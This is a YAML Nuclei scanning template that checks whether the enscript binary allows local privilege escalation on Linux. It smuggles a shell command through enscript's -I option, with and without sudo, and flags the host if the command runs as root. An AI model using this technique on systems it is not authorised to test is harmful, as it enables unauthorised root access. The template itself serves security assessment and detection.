Files
nuclei-templates/code/privilege-escalation/linux/binary/privesc-enscript.yaml
2024-12-01 13:30:43 +00:00

49 lines
1.3 KiB
YAML

id: privesc-enscript
info:
name: enscript - Privilege Escalation
author: daffainfo
severity: high
description: |
enscript is a command-line tool used for converting text files to PostScript format for printing. It provides various options for formatting and manipulating the output, making it a useful tool for generating high-quality printed documents from text files.
reference:
- https://gtfobins.github.io/gtfobins/enscript/
metadata:
verified: true
max-request: 3
tags: code,linux,enscript,privesc,local
self-contained: true
code:
- engine:
- sh
- bash
source: |
whoami
- engine:
- sh
- bash
source: |
enscript /dev/null -qo /dev/null -I 'whoami >&2'
- engine:
- sh
- bash
source: |
sudo enscript /dev/null -qo /dev/null -I 'whoami >&2'
matchers-condition: and
matchers:
- type: word
part: code_1_response
words:
- "root"
negative: true
- type: dsl
dsl:
- 'contains(code_2_response, "root")'
- 'contains(code_3_response, "root")'
condition: or
# digest: 4b0a00483046022100aebd6980b2458de83415b69ae356c06444f8d0b7c9794b284a80e865fb81e74f022100aa305bc7ddc3e082a74b2d08d79f2efcfae9c4acc92671a86770fe4ae9ce8990:922c64590222798bb761d5b6d8e72950